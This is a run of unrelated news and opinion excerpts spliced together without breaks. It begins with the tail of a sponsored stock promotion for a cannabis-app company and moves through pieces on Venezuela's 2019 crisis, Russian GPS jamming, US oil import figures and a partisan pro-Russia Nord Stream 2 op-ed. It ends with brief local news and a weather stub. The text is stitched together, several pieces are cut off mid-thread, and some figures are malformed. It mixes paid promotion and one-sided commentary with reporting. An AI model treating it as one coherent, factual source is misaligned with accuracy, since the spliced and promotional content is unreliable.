GCAC has developed market-ready applications and is starting to generate revenue. "The Citizen Green Community was designed to be dynamic, scalable and easily translatable into other languages. Expansion into Latin America is a significant step for the company as it marks the second language that will be used for the Citizen Green Community. One can only think that German, French and other European languages are next to be embraced by the Citizen Green Community, and due to the nature of the blockchain and crypto economics of the Citizen Green Community, there is no limit to the number of medical cannabis partners that can join, suggesting significant upside potential to generate revenue. With little or no real competition, the future looks very bright," Moore stated.

"As monthly revenues from partnerships and dispensaries using the Prescriptii Patient-Care Solution, Onwards Rewards program and the Citizen Green Marketplace increase, so does the value of the company's proprietary database, and so should the share price," he added.

GCAC trades on the Canadian Stock Exchange under the symbol APP and on the OCTPK with the symbol FUAPF. There are currently 92.5 million APP shares outstanding, and shares sit at around CA$0.10.

[NLINSERT]

Disclosure:

1) Patrice Fusillo compiled this article for Streetwise Reports LLC and provides services to Streetwise Reports as an employee. She or members of her household own securities of the following companies mentioned in the article: None. She or members of her household are paid by the following companies mentioned in this article: None.

2) The following companies mentioned in this article are billboard sponsors of Streetwise Reports: Global Cannabis Applications Corp. Click here for important disclosures about sponsor fees.

3) Comments and opinions expressed are those of the specific experts and not of Streetwise Reports or its officers. The information provided above is for informational purposes only and is not a recommendation to buy or sell any security.

4) The article does not constitute investment advice. Each reader is encouraged to consult with his or her individual financial professional and any action a reader takes as a result of information presented here is his or her own responsibility. By opening this page, each reader accepts and agrees to Streetwise Reports' terms of use and full legal disclaimer. This article is not a solicitation for investment. Streetwise Reports does not render general or specific investment advice and the information on Streetwise Reports should not be considered a recommendation to buy or sell any security. Streetwise Reports does not endorse or recommend the business, products, services or securities of any company mentioned on Streetwise Reports.

5) From time to time, Streetwise Reports LLC and its directors, officers, employees or members of their families, as well as persons interviewed for articles and interviews on the site, may have a long or short position in securities mentioned. Directors, officers, employees or members of their immediate families are prohibited from making purchases and/or sales of those securities in the open market or otherwise from the time of the interview or the decision to write an article until three business days after the publication of the interview or article. The foregoing prohibition does not apply to articles that in substance only restate previously published company releases. As of the date of this article, officers and/or employees of Streetwise Reports LLC (including members of their household) own securities of Global Cannabis Applications Corp., a company mentioned in this article.After more than a decade of corruption, inept government and economic collapse most Venezuelans are done with the radical populist movement that promised to make everything better but instead made everything much worse. Until 2014 the Venezuelan socialists still had enough believers to win elections but then a majority of voters realized that the socialists were making the situation worse and tried to vote them out. There followed three years of increasingly blatant violations of the Venezuelan law and customs to keep the corrupt and self-destructive socialists in power. The last fair vote had elected a parliament (or National Assembly) in late 2015 that, despite efforts by the socialists to eliminate it, kept going. The socialists were determined to maintain the appearance of being the legitimate government of Venezuela and that effort suddenly unraveled in early January 2019 when Juan Guaido, the newly elected (by fellow members of the National Assembly) head of the National Assembly was sworn in on January 5th. His assumption of that position was generally recognized as legal. But on January 10th Nicolas Maduro was sworn in as president of Venezuela after an election generally recognized (in and outside Venezuela) as rigged. On the 11th the National Assembly declares that, according to the constitution, the head of the National Assembly was the interim president until legitimate elections could be conducted.

A growing number of reformers (including many socialists) believe Guaido is the legitimate interim president. Guaido is a middle-class engineer who had been protesting socialist rule for a decade was new to electoral politics when he became a candidate for parliament. Guaido was one of the few middle-class Venezuelans who did not flee the country or plan to do so. Yet, many of those who did leave kept in touch with those who did not and provided financial and other support as well as help in letting the world know what was really going on in Venezuela. The three million expatriate Venezuelans played a key role in keeping democracy, and resistance to the socialists, alive.

By the end of January 2019 Maduro was on the defensive, unsure who in his government, and especially the military, would stand by him. There were some public defections, including an embassy official (an army officer) in the United States and a growing number of others. There were regular mass pro- Guaido demonstrations throughout the country and the government deliberately instructed the troops not to fire on the people. This seemed to confirm the reports that while many officers still supported Maduro many, if not most, of the troops (and police) did not. There were practical reasons for this as the food shortages had become so bad in the last year that even soldiers and their families were going hungry. This was largely due to corrupt officers because the military had control of the food distribution system since 2017 and a growing number of officers realized they could make a lot of money by diverting food supplies they controlled to the black market. Naturally many corrupt officers got greedy and not only were civilians going hungry but so were many troops. This reminded soldiers that the pervasive corruption of the military and government was. But the troops were still being fed and since the beginning of the year are receiving more food.

Guaido and the National Assembly taking on Maduro so directly was not a spur of the moment decision. Discussions within the National Assembly and with expatriates had generated a lot of ideas and the declaration of a rival (and more legitimate) president of Venezuela was one of many. For that reason, by the end of the month, the United States has imposed sanctions on Venezuelan oil. Since the U.S. is the largest customer for this oil and the main supplier of chemicals needed to make the Venezuelan heavy crude usable these sanctions were a major blow to Maduro. But there was more. American prosecutors began seizing American properties purchased with billions of dollars in stolen Venezuelan oil money. The U.S. and Europe are the favorite places to try and launder and hide these stolen billions. But Maduro and his cronies failed to realize that chasing such dirty money had become increasingly popular throughout the West and it was much more difficult to get away with it these days. There were plenty of existing databases of banking activity to use in hunting down what Maduro associates were up to financially. Thus Maduro was blocked from selling off more than two billion dollars worth of Venezuelan gold reserves. Over a billion dollars of that gold in Britain was transferred to the control of Guaido and the National Assembly. Also, the U.S. was seizing Venezuelan assets in the United States and transferring them to the National Assembly. One of the first things Guaido did with this money was arrange for massive amounts of emergency food and medical supplies to be sent to Venezuela. Maduro ordered troops to block roads at border crossings where the food was to enter the country. His Russian media advisors recommended that the food and medical aid was blocked because it was contaminated. That backfired and is one reason Maduro is increasingly concerned about the reliability of his troops. At the same time, Guaido is offering amnesty to officers and government officials who will abandon the Maduro government and work with the National Assembly. The mass demonstrations continue and now Maduro is concerned about the many criminal gangs he has on the payroll. These men do the dirty work at the local level and are much less disciplined than the security forces.

Maduro has few options and even fewer allies. While Venezuela has the largest oil reserves on the planet, firing the effective managers of the state oil company and replacing them with socialist loyalists (who often knew nothing about the oil business) proved disastrous. That had been going on for over a decade. Because of that production has declined (along with oil prices) and there is no way the socialist government can pump enough oil to finance its continued existence. Borrowing a lot of money from China backfired as well.

Earlier in government hired Cuba to provide technical advisors available to show the Venezuelan socialists how to establish and maintain a long-term dictatorship. That did not work out because there was no money for it. China, Cuba, Iran and Russia are all present in Venezuela and with all that oil as collateral the Venezuelan socialists thought they had a safety net that would keep them in business. That option is now gone and the Maduro government is not only bankrupt and but unable to pump and ship enough oil to pay for food and other essential imports. In theory, China could rapidly expand its current efforts to rebuild the oil production facilities and also lend more billions to Maduro for food and other supplies. But China is unlikely to bankroll a longshot option like that. Guaido has offered to respect deals already made with China. In early February China made it clear that it was not taking sides in Venezuela and would cooperate with whoever was in charge. This came less than two weeks after Juan Guaido claimed he was the legal interim president of Venezuela. Most Western Hemisphere nations and many European ones backed Guaido (as did most Venezuelans). The United States and EU nations are assisting Guaido in taking control of billions of dollars in cash and other assets belonging to Venezuela that are located in the U.S. and Europe. On the basis of all this Guaido made it clear that he will respect current economic deals and is willing to work with Russia and China, currently Venezuelas largest creditors. Maduro has the active support of Cuba, North Korea, Iran and perhaps Russia. With allies like that, you are in big trouble.

On January 28th the United States imposed oil sanctions on the Venezuelan state oil company, which is the only means China has to gets over $30 billion in Venezuelan loans paid back. This move encourages China to back Juan Guaido as the legitimate acting president of Venezuela. While Guaido has made it clear he is willing to work with China, it is only implied that the Americans will go along with this.

In December 2018 Chinese engineers and technicians in Venezuela had control of about ten percent of Venezuelan production. The Chinese have doubled production during 2018 in the areas they control and are hoping to expand that. Maduro was reluctant to go along with that because PDVSA (the state-owned oil company) has become a refuge for government supporters who are more interested in stealing oil (and remaining loyal to Maduro) than improving production. The Chinese have no police powers in Venezuela but have a lot of financial clout which they believe will prevail in the long term. China always felt that a more effective government would eventually emerge and allow businesses to operate efficiently (and profitably) once more. China has been openly positioning itself as a friend of Venezuela, not the deranged socialists currently in charge. China is still working on many development projects in Venezuela and has plenty of experience doing so in lawless regions (especially Africa and northern Burma) it currently operates in. The situation in Venezuela is familiar to the Chinese and they expect to come out of this with strong economic ties to the post-chaos Venezuela. The National Assembly appreciates that and is quietly trying to worth out arrangements with China to continue working with PDVSA once the Maduro supporters are replaced.

A few days after Guaido declared his claim to the presidency Russia agreed to extend payment of Venezuelan loans by ten years. Since 2017 Venezuela has been unable to repay most of its foreign debt. Starting in 2006 Russia has loaned Venezuela $17 billion, much of which (Russia wont say how much) has not been repaid but since Venezuela has not got the cash and given the current state of its economy will not have any additional cash anytime soon Russia extended payments. In return Venezuela allowed Russia to invest $6 billion in oil and gold mining projects in Venezuela. These projects probably wont begin until the Venezuela economy recovers, meaning not for a long time. Venezuela currently owes more than $120 billion to foreign lenders. Guaido is also negotiating with the Russians, who are inclined to follow the Chinese lead in all this.

The National Assembly is not talking to Cuba, the most dangerous ally of Maduro. Cubans comprise key elements of Maduros personal security team. Cuban advisors are still active in the Venezuelan intelligence and secret police operations. Cuba has much gain by helping Maduro stay in charge and eventually revive the economy. At one point the Venezuelan socialists were providing Cuba with financial aid that comprised about 20 percent of Cuban GDP. In return, Cuba supplied doctors and many other specialists. Since 2015 that aid to Cuba has largely disappeared because Maduro simply did not have the cash. With the Venezuelan income gone Cuba is going through a major economic depression. The same thing happened when Russia halted its economic aid after 1991. Cuba is still a communist dictatorship and attempting to revive its economy with free-market reforms is difficult and painful. But the Cuban communists have managed to keep their police state functioning for 60 years and doing it without any natural resources like huge oil deposits. This encourages Maduro, who ignores the fact that when the Cuban communists took over in the late 1950s Cuba had the most prosperous economy in the Caribbean. That soon disappeared. Moreover, Cuba is an island who had a stalwart nuclear ally (Russia) from the start. No one is willing to go nuclear in defense of Cuba anymore and Maduro has no such superpower backing. For China, Venezuela is a business opportunity and the Chinese are not pleased with the current management in Venezuela.

Since Hugo Chavez gained power in 1999 Venezuela, once the wealthiest country in the region has become one of the poorest. Less than twenty percent of the population are able to obtain adequate food and other commodities. This fortunate fifth of the population consists largely of government loyalists or outlaws. The fortunate fifth could easily be two-fifths of Venezuelans were it not for the massive corruption. Several families of senior leaders (especially Maduro and his mentor Chavez) have stolen billions of dollars in state funds. Meanwhile, Venezuela has become a police state with the major source of unrest food riots by starving Venezuelans. The government refuses to admit this is happening and blames any problems on other countries, especially Colombia and the United States. That approach doesnt work as well as it used to because when Chavez came to power two decades ago Colombia was a mess economically and a scary place to live because of drug gangs and leftist rebels. Most of that has gone away and Colombia, with much less oil than Venezuela, is now the most prosperous nation in the region. Currently, Colombia has a GDP three times larger than Venezuelas. That has never happened before and it was not long ago that Venezuela often had a GDP twice the size of Colombia's.

Prosperity and democracy died in Venezuela because of nearly two decades of corruption and inept government created by Hugo Chavez. This former soldier got elected in 1999 and died of cancer in March 2013. Along the way, Chavez trashed the Venezuelan economy and democracy. His handpicked replacement, Nicolas Maduro, was even worse. The old Chavez dream of Venezuela becoming a socialist dictatorship supported by oil revenue eventually faded along with cash reserves and the national credit rating. Venezuela currently owes over $50 billion for foreign lenders, mainly in China and Russia. Maduro has put a priority on making scheduled payments on that secured foreign debt because if they dont the credit rating is damaged while China and Russia become less helpful. That strategy failed and Venezuela began to default on that debt in late 2017. The default continues making it nearly impossible to borrow money.

Venezuela has the largest oil reserves of any nation on the planet. But it also has one of the most corrupt, ineffective, lawless and clueless governments in the world. Venezuela has become a home base for drug cartels, Iranian Islamic terrorists and Chinese investors seeking a long term relationship. Drug gangs already exercise considerable power in Venezuela and leftist rebels from Colombia have moved in to exploit new opportunities. No one, not even major creditors (China and Russia) want to intervene directly. The neighbors do not want to intervene as that is not the accepted way of handling these things. However, the neighbors are faced with a choice of either intervening to deal with the chaos and violence or do nothing and wait for the chaos and violence to come visit at intolerable levels. For a while, it was believed there might be a military coup as there have already been minor outbreaks of violence or organized disobedience by the security forces. Whatever happens here during 2019 it is unlikely to be peaceful but Venezuelans hope the changes will be an improvement over the current mess.

Foreign and local economists agree that one of the key reasons for the economic crises in Venezuela is the epic levels of corruption. The 2018 international corruption ratings show the world that Venezuela not making much progress dealing with that. Currently, Venezuela ranks 168th out of 180 nations compared with 169th in 2017. Neighboring Colombia was 99 out of 180. In 2011 Venezuela was 162 out of 179 showing that the corruption was a cause, not a result, of the economic collapse.

Corruption in the Transparency International Corruption Perception Index is measured on a 1 (most corrupt) to 100 (not corrupt) scale. The most corrupt nations (usually North Korea/14, Yemen/14, Syria/13, South Sudan/13 and Somalia/10) have a rating of under 15 while of the least corrupt (New Zealand and Denmark) are over 85. The current Venezuelan score is 18 (same as in 2017) compared to 36 (37) for Colombia, 35 (37) for Brazil, 28 (29) for Mexico, 63 (61) for Taiwan, 40 (40) for India, 39 (41) for China, 29 (29) for Russia, 40 (39) for Argentina, 85 (84) for Singapore, 72 (73) for Japan, 67 (67) for Chile, 33 (32) for Pakistan, 34 (32) for Ecuador, 28 (30) for Iran, 16 (15) for Afghanistan, 35 (37) for Peru, 70 (71) for the UAE (United Arab Emirates), 62 (64) for Israel, 72 (75) for the United States, 27 (27) for Nigeria, 43 (43) for South Africa, 18 (18) for Iraq, 41 (40) for Turkey, 49 (49) for Saudi Arabia and 47 (47) for Cuba. A lower corruption score is common with nations in economic trouble and problems dealing with reality and crime in general. Venezuela was not this corrupt before Chavez took over but it took his socialist government over a decade to drive the corruption scores into the basement. Cuba, on the other hand, found it had to be reasonably lawful and incorrupt if it was to run any kind of free market economy. Maduro would have to do the same. The National Assembly members, who remember what it was like to do business back when Venezuela had a corruption score similar to its neighbors, are better equipped to clean the mess up.by Austin Bay February 12, 2019

On Feb. 11, Norway's intelligence agency severely criticized Russian jamming of GPS signals. The Norwegians said the Russian GPS signal disruption exploits that occurred last fall during NATO's Trident Juncture military exercise were not only a military concern but "also a threat to civil aviation in peacetime."

When Trident Juncture concluded in November, both the Finnish and Norwegian governments protested the GPS disruption. Norway blamed Russian transmitters at a military base located on the Kola Peninsula -- in the Arctic, east of Finland.

The Kremlin denied the accusation and said it had nothing to do with the jamming.

Despite the denial, given NATO's surveillance and detection capabilities, I think Norway and Finland have solid proof Russian electronic warfare units are culpable.

Trident Juncture's scenario is useful for understanding the current political context in the Baltic region.

The exercise was defensive. An aggressive power attacked Finland and Norway. NATO responded to defend Norway. NATO sea and air forces operated in the Baltic Sea and the Atlantic Ocean. The land maneuvers in Norway included U.S. and German armor. NATO aircraft supported Finnish forces in Finland.

Yes, NATO combat exercises in Finland. Since Russia's 2014 invasion and annexation of Crimea, Finland has dropped the pretext of neutrality. Finns seem to know aggressive Russian power when they see it.

Spying on an adversary's military drills is expected. But jamming GPS signals is a type of kinetic action, albeit in war's gray zone. Norway reported there were no accidents attributable to the jamming. Accidents and casualties would have elevated the GPS jamming to a type of hostile attack, though one with a tissue-thin degree of plausible deniability. For example, Russian propagandists would argue that pilot error, rather than jamming, caused the helicopter crash, etc.

In 2007, Estonia suffered sustained cyber attacks that financially damaged the country. Estonia blamed Russia for the attacks. The Kremlin denied it and dismissed Estonia's evidence.

It's often difficult to conclusively prove Russian trickery as it is occurring or even in the immediate aftermath of Kremlin gray-zone warfare operation. A recently released RAND study, "Russia's Hostile Measures in Europe," says that hard evidence "of intent from the Russian state, evidence of influence from Russia on a local proxy" and evidence that Russian influence on a proxy "led to the achievement of a Russian foreign policy objective ... is almost never available."

I'm not so sure this is quite the case, but if hard evidence exists, it is most likely highly classified (to protect intelligence sources) and not available to Western media.

RAND concludes the primary reason for contemporary Russia's constant hostile meddling with its neighbors and NATO nations is insuring the "security and survival" of the regime led by Vladimir Putin.

Apparently, as the Kremlin sees it, hostile meddling -- like encouraging ethnic conflict -- seeding corruption, cyber attacks and just simply increasing tension keeps Russian adversaries off balance and wary. The GPS jamming certainly seeded tension in northern Europe. It was also a way to vex NATO. My latest book, "Cocktails from Hell," argues that a deep Kremlin goal is dismantling NATO and "the Kremlin's incessant anti-NATO propaganda campaign confirms it. This is a typical pattern: Russian operatives and local proxies make false but sensational accusations such as 'NATO is preparing to attack Russia' ... Digital media propagate the accusations, globally."

Bold Kremlin misinformation, apparently spread by the Russian government and its proxies through digital, broadcast and print media, confuses critics and provides the Kremlin with adequate diplomatic cover.

Up to the point that people have heard and seen enough. Finnish soldiers' training with NATO forces is diplomatic and military pushback. A substantial number of voters in Finland and Sweden favor joining NATO. In Sweden, joining NATO was once a forbidden subject. No longer.At the present time, the latest month for which the US Department of Energy publishes the number of barrels per day (bpd) of oil thats exported to the US is November 2018. Here are the rankings:

1. Canada 142,206 bpd

2. Saudi Arabia 30,028

3. Mexico 18,020

4. Venezuela 16,889

5. Iraq 11,767

6. Colombia 7,769

7. Russia 7,611

8. Ecuador 5,866

9. Nigeria 5,392

10. Algeria 4,848

11. UK 4,653

12. Norway 4,073

13. Kuwait 3,027

14. Brazil 2,777

15. Belgium 2,075

16. S. Korea 1,927

17. Netherlands 1,462

18. Egypt 1,405

19. UAE 1,771

20. China 1.268

21. France 1,239

22. Singapore 1,232

23. Indonesia 1,204

24. Argentina 1,101

25. Peru 1,061

26. Denmark 1,000

27. Brunei 961

28. Spain 846

29. Angola 833

Here were the top 10 for the entire year of 2015 as reported by Bloomberg Finance at Forbes. For comparison to today, the countrys sales and rank in November 2018 is also indicated [between brackets]"

1. Canada 3.2 million bpd [1. Canada 142,206]

2. Saudi Arabia 1,1 [2. Saudi Arabia 30,028]

3. Venezuela 780,000 bpd [4. Venezuela 16,889]

4. Mexico 690,000 [3. Mexico 18,020]

5. Colombia 370,000 [6. Colombia 7,769]

6. Iraq 230,000 [5. Iraq 11,767]

7. Ecuador 225,000 [8. Ecuador 5,866]

8. Kuwait 210,000 [13. Kuwait 3,027]

9. Brazil 190,000 [14. Brazil 2,777]

10. Angola 190,000 [29. Angola, 833]

Clearly, the figures change over time. Whereas Angola was #10 in 2015, its #29 now; and whereas Russia, Nigeria, and Algeria, werent in the top 10 in 2015, they now are.

US President Donald Trump is bringing down the latest Venezuelan monthly number from 16,889 to close to zero. On 25 August 2017, Reuters headlined two stories, Trump slaps sanctions on Venezuela; Maduro sees effort to force default and "Venezuela says US sanctions designed to push Venezuela to default. The first of those reported that, US President Donald Trump signed an executive order that prohibits dealings in new debt from the Venezuelan government or its state oil company on Friday in an effort to halt financing that the White House said fuels President Nicolas Maduros dictatorship. The second reported that Venezuelas Government daid that Trumps action essentially forces the closure of its US refining unit Citgo, which means bringing an end to Venezuelas oil exports to the US

Venezuelas socialized oil company, PDVSA, of which Citgo is the US distributor, had never prepared for the measures that Trump is now imposing, and Reuterss report said, As a result, it will be it tricky for PDVSA to refinance its heavy debt burden. The Reuters report continued:

Maduro may no longer take advantage of the American financial system to facilitate the wholesale looting of the Venezuelan economy at the expense of the Venezuelan people, US Treasury Secretary Steven Mnuchin said on Friday.

PDVSA, the financial engine of Maduros government, is already struggling due to low global oil prices, mismanagement, allegations of corruption and a brain drain.

However, the likely failure of Venzuelas oil company is due not only to the lowered price of oil, but to the fact that Venezuelas oil is among the two costliest in the world to produce, because its from the dirtiest source, tar sands, much like Canadas oil is. The difference between Canada and Venezuela is twofold: first, that whereas Canada is a vassal-state of the US empire and so its aristocracy is allied with Americas aristocracy (which controls Americas Government), Venezuela isnt. And, second, that whereas Venezuela has a monoeconomy thats based on oil (which accounts for around 95% of Venezuelas exports), Canada does not.

Saudi Arabia used to be the top foreign source of oil imported into the US, but now its only a very weak second-place to Canada in this, exporting only 21% as much oil to the US as does Canada. This is a huge decline for the Sauds.

Whereas Saudi oil is the worlds most light or cleanest and least-costly to produce and therefore has the lowest carbon footprint of any oil, Canada and Venezuela have the most heavy or dirtiest and most-costly to produce and therefore have the highest carbon footprint of all the worlds oils.

(NOTE: There are many different ranking-systems for the average cost per barrel of oil produced, such as this and this and these, but all tend to vastly underestimate in order to continue the case for fossil fuels. The BBC once noted that its calculation-system only covers the cost of production, not the cost of exploration and development. And it also ignored the cost of transit. It also ignored environmental costs. It also ignored the costs to taxpayers for the many subsidies they pay in order for the fossil-fuels investors to continue investing in those companies. The environmental site The Energy Mix headlined in April 2018, Ditched Bitumen Desperately Seeks True Commitment and reported that fewer and fewer investors were continuing to trust the industrys reported numbers regarding the costs of tar-sands oils. Also, on 11 February 2019, they headlined Trans Mountains Fee Plan for Fossil Customers Represents $2-Billion Taxpayer Subsidy. But, mostly, the heavy taxpayer subsidizations to the fossil-fuels industries are ignored, both by consumers and by investors. Realistically, the tar-sands oils in both Canada and Venezuela are costing far more than any per-barrel oil price thats below $100. They are money-losers, but bring lots of money to the right people.)

So: the US is replacing the worlds cleanest oil with the worlds filthiest oil, and thats not only from Canada but also from Venezuela. However, because the US aristocracy want to take over Venezuela, the US Government now is set to zero-out oil imports from Venezuela, so as to increase the pressure on Venezuelas Government to place in charge there a leader who will do Americas bidding. Canada has been working right alongside the US to achieve that objective, and will probably be supplying to the US much (if not all) of the 16,889 bpd oil that currently has been supplied by the other producer of very dirty oil: Venezuela. The US produces fracked oil, which is dirty but not as dirty as that from Canada and Venezuela. The US, Canada, and Venezuela, have been committed to ignoring the global warming problem. To the extent that the problem becomes globally recognized, the oil-production in all three of those countries will decline in its marketable price even more than will the oil-production in other countries (especially than Saudi Arabias oil-production, since thats the cleanest); and, so, the profits from those dirty oils will quickly (especially for Canada and Venezuela, where it has already happened) turn into losses. All three governments  Venezuela, Canada, and US  are trying to postpone that, till as late a time as possible.It was billed politely as a Franco-German compromise when the EU balked at adopting a Gas Directive which would have undermined the Nord Stream 2 project with Russia.

Nevertheless, diplomatic rhetoric aside, Berlins blocking last week of a bid by French President Emmanuel Macron to impose tougher regulations on the Nord Stream 2 gas project was without doubt a firm rebuff to Paris.

Macron wanted to give the EU administration in Brussels greater control over the new pipeline running from Russia to Germany. But in the end the so-called compromise was a rejection of Macrons proposal, reaffirming Germany in the lead role of implementing the Nord Stream 2 route, along with Russia.

The $11-billion, 1,200 kilometer pipeline is due to become operational at the end of this year. Stretching from Russian mainland under the Baltic Sea, it will double the natural gas supply from Russia to Germany. The Berlin government and German industry view the project as a vital boost to the countrys ever-robust economy. Gas supplies will also be distributed from Germany to other European states. Consumers stand to gain from lower prices for heating homes and businesses.

Thus Macrons belated bizarre meddling was rebuffed by Berlin. A rebuff was given too to the stepped-up pressure from Washington for the Nord Stream 2 project to be cancelled. Last week, US ambassador to Germany Richard Grenell and two other American envoys wrote an op-ed for Deutsche Welle in which they accused Russia of trying to use energy blackmail over Europes geopolitics.

Why Frances Macron, at the last minute, attempted to undermine the project by placing stiffer regulations is a curious question. Those extra regulations if they had been imposed would have potentially made the Russian gas supply more expensive. As it turns out, the project will now go-ahead without onerous restrictions.

In short, Macron and the spoiling tactics of Washington, along with EU states hostile to Russia, Poland and the Baltic countries, have been put in their place by Germany and its assertion of national interests of securing economical and abundant gas supply from Russia. Other EU member states that backed Berlin over Nord Stream 2 were Austria, Belgium, Cyprus, Greece and the Netherlands.

Washingtons claims that Nord Stream 2 would give Russia leverage of Europes security have been echoed by Poland and the Baltic states. Poland, and non-EU Ukraine, stand to lose out billions of dollars-worth of transit fees. Such a move, however, is the prerogative of Germany and Russia to find a more economical mode of supply. Besides, what right has Ukraine to make demands on a bilateral matter that is none of its business? Kievs previous bad faith over not paying gas bills to Russia disbars it from reasonable opinion.

Another factor is the inherent Russophobia of Polish and Baltic politicians who view everything concerning Russia through a prism of paranoia.

For the Americans, it is obviously a blatant case of seeking to sell their own much more expensive natural gas to Europes giant energy market  in place of Russias product. Based on objective market figures, Russia is the most competitive supplier to Europe. The Americans are therefore trying to snatch a strategic business through foul means of propaganda and political pressure. Ironically, the US German ambassador Richard Grenell and the other American envoys wrote in their recent oped: Europe must retain control of its energy security.

Last month, Grenell threatened German and European firms involved in the construction of Nord Stream 2 that they could face punitive American sanctions in the future. Evidently, it is the US side that is using blackmail to coerce others into submission, not Russia.

Back to Macron. What was he up to in his belated spoiling tactics over Nord Stream 2 and in particular the attempted problems being leveled for Germany if the extra regulations had been imposed?

It seems implausible that Macron was suddenly finding a concern for Poland and the Baltic states in their paranoia over alleged Russian invasion.

Was Macron trying to garner favors from the Trump administration? His initial obsequious rapport with Trump has since faded from the early days of Macrons presidency in 2017. By doing Washingtons bidding to undermine the Nord Stream 2 project was Macron trying to ingratiate himself again?

The contradictions regarding Macron are replete. He is supposed to be a champion of ecological causes. A major factor in Germanys desire for the Nord Stream 2 project is that the increased gas supply will reduce the European powerhouses dependence on dirty fuels of coal, oil and nuclear power. By throwing up regulatory barriers, Macron is making it harder for Germany and Europe to move to cleaner sources of energy that the Russian natural gas represents.

Also, if Macron had succeeded in imposing tougher regulations on the Nord Stream 2 project it would have inevitably increased the costs to consumers for gas bills. This is at a time when his government is being assailed by nationwide Yellow Vest protests over soaring living costs, in particular fuel-price hikes.

A possible factor in Macrons sabotage bid in Germanys Nord Stream 2 plans was his chagrin over Berlins rejection of his much-vaunted reform agenda for the Eurozone bloc within the EU. Despite Macrons very public amity with Chancellor Angela Merkel, Berlin has continually knocked back the French leaders ambitions for reform.

Its hard to discern what are the real objectives of Macrons reforms. But they seem to constitute a bankers charter. Many eminent German economists have lambasted his plans, which they say will give more taxpayer-funded bailouts to insolvent banks. They say Macron is trying to move the EU further away from the social-market economy than the bloc already has moved.

What Macron, an ex-Rothschild banker, appears to be striving for is a replication of his pro-rich, anti-worker policies that he is imposing on France, and for these policies to be extended across the Eurozone. Berlin is not buying it, realizing such policies will further erode the social fabric. This could be the main reason why Macron tried to use the Nord Stream 2 project as leverage over Berlin.

In the end, Macron and Washington  albeit working for different objectives  were defeated in their attempts to sabotage the emerging energy trade between Germany, Europe and Russia. Nord Stream 2, as with Russias Turk Stream to the south of Europe, seems inevitable by sheer force of natural partnership.

On this note, the Hungarian governments comments this week were apt. Budapest accused some European leaders and the US of huge hypocrisy in decrying association with Russia over energy trade. Macron has previously attended an economics forum in St Petersburg, and yet lately has sought to blackmail and disrupt Germany over its trade plans with Russia.

As for the Americans, their arrant hypocrisy is beyond words. As well as trying to dictate to Europe about market principles and energy security, it was reported this week that Washington is similarly demanding Iraq to end its import of natural gas from neighboring Iran.

Iraq is crippled by electricity and power shortages because of the criminal war that the US waged on that country from 2003-2011 which destroyed much of the countrys infrastructure. Iraq critically needs Iranian gas supplies to keep the lights and fans running. Yet, here we have the US now dictating to Iraq to end its lifeline import of Iranian fuel in order to comply with the Trump administrations sanctions against Tehran. Iraq is furious at the latest bullying interference by Washington in its sovereign affairs.

The hypocrisy of Washington and elitist politicians like Emmanuel Macron has become too much to stomach. Maybe Germany and others are finally realizing who the charlatans are.Early deadlines are in effect for advertising and editorial submissions; submit materials by Thursday, July 1 (for the July 8th issue). Please call for details. Our offices will be closed Friday, July 2, to observe the holiday.Walker clearly saw what was coming with Trump much earlier than most people; he also saw the solution. Trump never commanded a majority of Republican primary voters. He commanded a plurality only because too many candidates were splitting the major Republican constituencies.

If the field had winnowed earlier, Trump would have lost. Instead, through arrogance, through narcissism and through disbelief, the partys leaders dallied until Trumps momentum was unstoppable, and a hapless outsider at the head of a minority faction had somehow taken over their party.

After the cease-fire, most of those Republican leaders would end up cravenly capitulating to Trump, to the lies, the incompetence, the vulgarity. Indeed, last month Walker said he planned to chair Trumps 2020 re-election campaign in Wisconsin. Terrified of Trumps voters but not quite able to bring themselves to endorse his behavior, Republicans have mostly settled on pretending its not happening. Thus, the GOP is both a victim of Trumps gaslighting and its guiltiest accomplice.

Now Democrats may confront a similar threat. Privately, they may be horrified by Ocasio-Cortezs slapdash approach to policy; angry about her intraparty aggression; disgusted by blatant and juvenile falsehoods. Publicly, however, they wish to court her voters, so the kid gloves mostly stay on.Jagger, 54, of Royal Oak, had four drunken-driving convictions from 1989 to 2007. It's typically a misdemeanor, but he faced a felony charge after the last arrest because of his repeat offenses. No one was injured in the incidents. Judge Michael Warren sentenced him to 135 days in jail after an assistant prosecutor called Jagger a "danger to the public."

Jagger served his sentence, but the pardon means the felony is off the books.

He and his lawyer, Bill Urich, didn't respond to AP's multiple requests for an interview. Nor did Peggy Dzierzawski, the current president of the CPA group. Snyder, who is a CPA, left office on Jan. 1. An aide, Allison Scott, said he was away and unavailable to answer questions.

Jagger's desire for a pardon is detailed in documents obtained by the AP under a public records request.

He explained it during a Dec. 12 hearing with the Michigan parole board, which makes recommendations to the governor and voted in Jagger's favor. Since 2016, he has been senior vice president and chief marketing officer at the Michigan CPA organization. The Troy-based group serves 18,000-plus members by offering career workshops, monitoring industry trends and influencing laws and accounting rules in Lansing.A Florida man was arrested and charged after police said he threw a burrito at his girlfriend, marking at least the second food-related arrest in the past week in west central Florida alone.

According to a police report, Michael Elacqua, 41, and the woman got into an argument when Elacqua shoved her into a bedroom chair. That's when Elacqua chucked the burrito, hitting the woman in the face, and according to an officer, left her with the "contents of the burrito dispersed across her face, neck and left chest/shoulder area."

The police report did not note what was in the burrito.

Fortunately, for the victim, Elacqua didn't throw a frozen pork chop at her, unlike one Florida woman, who was charged after her toss left her boyfriend with a half-inch cut on his face.

Elacqua then left the home and when an officer called him, wouldn't say where he was and turned off his phone.

Police found and arrested Elacqua on Monday afternoon, according to the police report obtained by The Smoking Gun."For perhaps the first time ever, snow has fallen in a Hawai'i State Park. Polipoli State Park on Maui is blanketed with snow. It could be the lowest elevant snow ever recorded in the state. Polipoli is at 6,200 feet elevation," the DLNR said.

Wind advisories in effect

CNN Meteorologist Monica Garrett said winds will diminish and weather conditions will improve throughout the day as the "low moves northeast of the area."

"A band of enhanced moisture is expected to move through Tuesday night and Wednesday as the trade winds begin to return, increasing shower coverage and intensity once again."

The National Weather Service in Honolulu issued a wind advisory in effect until noon HST (5 p.m. ET). An advisory means that "sustained winds of at least 30 miles per hour or gusts of at least 50 mph are expected. Motorists should use extra caution."

On Sunday, wind speeds were recorded at 25 to 40 miles per hour and there were reports of wind speeds above 50 and 60 mph.Cut Bank, MT (59427)

Today

Cloudy this morning with showers during the afternoon. High 64F. Winds NNW at 10 to 20 mph. Chance of rain 30%..

Tonight

